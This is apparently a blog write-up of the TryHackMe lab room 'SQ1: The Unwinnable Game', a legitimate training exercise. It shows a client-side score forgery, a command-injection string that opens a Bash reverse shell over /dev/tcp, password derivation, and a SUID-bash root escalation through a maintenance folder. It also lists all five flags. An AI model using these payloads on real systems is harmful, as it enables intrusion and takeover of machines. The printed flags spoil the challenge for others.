December 3, 2026
SQ1: The Unwinnable Game - TryHackMe Writeup Methodology
SQ1: The Unwinnable Game TryHackMe writeup: client-side bypass, RCE shell, keygen pivot, root escalation & all 5 THM flags step-by-step.

By Frontman369
2 min read
Overview
- Room: SQ1: The Unwinnable Game (Sidequests 2026)
- Category: Boot 2 Root
- Objective: Recover the town's files, pivot onto the underlying system behind the portal, identify who is behind it, and capture all five
THM{...}flags.
Step-by-Step Methodology
1. Port Scanning and Service Discovery
I started by scanning the target machine to see which ports and services were exposed over my VPN connection.
nmap -sS -sV -p- -Pn <target_ip>nmap -sS -sV -p- -Pn <target_ip>The scan showed 22/tcp running OpenSSH (OpenSSH 9.6p1 Ubuntu 3ubuntu13.5) and 31337/tcp open. Because the web portal was listening on port 31337 rather than default HTTP port 80, browsing directly to the IP without the port failed at first. I targeted https://<TARGET_IP>:31337 in my browser to reach The Yeti's Ransom Portal.
2. Client-Side Score Forgery - Flag 1
The room narrative indicated that I needed to look for an asymmetry rather than play the game fairly. I opened Developer Tools (F12), played a round while watching the Network tab, and noticed a score request returning {"ok": true, "won": false}.
I then inspected the page source (Ctrl+U) and examined sha256.js and game.js to understand how score submission worked client-side. Seeing that the client handled score submission directly, I opened the browser console and called submitScore(100) to bypass winning the game legitimately.
submitScore(100)submitScore(100)Submitting 100 unlocked the prize vault, revealed the file recovery interface, and gave me the first flag:
- Flag 1:
THM{never_trust_a_client_side_scoreboard}
3. Command Injection to Reverse Shell - Flag 2
The newly revealed File recovery feature accepted a household name (such as creekside_inn) to pull and restore encrypted files from the Cypher Stream. I tested creekside_inn first to see normal output, then appended ;id to test whether user input was passed unsafely to a shell command.
creekside_inn;idcreekside_inn;idBecause command execution worked, I started a Netcat listener on my attack machine to catch an interactive reverse shell.
nc -lvnp 4444nc -lvnp 4444Next, I sent a Bash reverse shell payload through the file recovery input field:
creekside_inn;bash -c "bash -i>& /dev/tcp/10.49.65.242/4444 0>&1"creekside_inn;bash -c "bash -i>& /dev/tcp/10.49.65.242/4444 0>&1"My listener caught a connection as the relay user inside ~/relay-app (relay@tryhackme-2404:~/relay-app$).
I ran ls to check the current directory, moved up one directory with cd .., and ran ls again. Moving from ~/relay-app up to /home/relay shifted my view from the web application directory to the relay user's home directory, where user.txt was located. Reading user.txt gave me the second flag:
ls
cd ..
ls
cat user.txtls
cd ..
ls
cat user.txt- Flag 2:
THM{the_stream_gives_up_its_files}
4. Enumerating Files and Deriving the operator Password - Flag 3
To move laterally from relay to operator, I checked my home directory, hidden files, shell history, and /opt/cypher-stream for clues or scripts left behind on the box.
ls
cd ~
ls -la
cat .bash_history
cd /opt/cypher-stream
ls
cat flag_enum.txtls
cd ~
ls -la
cat .bash_history
cd /opt/cypher-stream
ls
cat flag_enum.txtReading /opt/cypher-stream/flag_enum.txt revealed the third flag:
- Flag 3:
THM{the_key_was_hiding_in_the_comments}
In /opt/cypher-stream, I also found keygen.py, which generated the operator password deterministically from the machine's hostname and a static salt:
ROTATION_SALT = "ransommit-cypher-2026"
def operator_password() -> str:
hostname = socket.gethostname()
digest = hashlib.sha256((hostname + ROTATION_SALT).encode()).hexdigest()
return digest[:16]
if __name__ == "__main__":
print(operator_password())ROTATION_SALT = "ransommit-cypher-2026"
def operator_password() -> str:
hostname = socket.gethostname()
digest = hashlib.sha256((hostname + ROTATION_SALT).encode()).hexdigest()
return digest[:16]
if __name__ == "__main__":
print(operator_password())I ran keygen.py to compute the password (88986b5ea2e6d9c5), switched to operator with su operator, moved to operator's home directory, and read operator.txt for the fourth flag.
python3 keygen.py
su operator
cd ~
ls
cat operator.txtpython3 keygen.py
su operator
cd ~
ls
cat operator.txt- Flag 4:
THM{same_recipe_every_time}
5. Privilege Escalation via maintenance/ - Flag 5
Inside operator's directory, I read README, which explained that operator did not have sudo, but any task requiring root dropped into ~/maintenance/ would be picked up and executed automatically within a few seconds.
cat READMEcat READMETaking advantage of that automated root execution, I wrote a script to ~/maintenance/pwn.sh that created a SUID copy of /bin/bash at /tmp/rb and copied /root/root.txt to /tmp/root.txt with world-readable permissions.
cat >~/maintenance/pwn.sh<<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb
cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt
EOF
chmod +x ~/maintenance/pwn.shcat >~/maintenance/pwn.sh<<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb
cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt
EOF
chmod +x ~/maintenance/pwn.shAfter waiting for the script to run, I invoked /tmp/rb -p to preserve elevated privileges and read /tmp/root.txt to capture the final flag.
/tmp/rb -p
cat /tmp/root.txt/tmp/rb -p
cat /tmp/root.txt- Flag 5:
THM{the_yeti_trusted_too_soon}
Summary of Flags
- Flag 1:
THM{never_trust_a_client_side_scoreboard}Forged score via browser console (submitScore(100)) - Flag 2:
THM{the_stream_gives_up_its_files}Command injection (;) to reverse shell and read~/user.txt - Flag 3:
THM{the_key_was_hiding_in_the_comments}Enumerated/opt/cypher-stream/flag_enum.txt - Flag 4:
THM{same_recipe_every_time}Derived password using/opt/cypher-stream/keygen.pyand readoperator.txt - Flag 5:
THM{the_yeti_trusted_too_soon}Droppedpwn.shinto~/maintenance/for root execution and read/tmp/root.txt
Reflection
Even though the room listed an estimated completion time of 60 minutes and carried an Easy difficulty label, it took me nearly four hours and four attempts - three of which involved heavy trial and error before the fourth attempt came together cleanly into this writeup. For me, this room felt far from easy.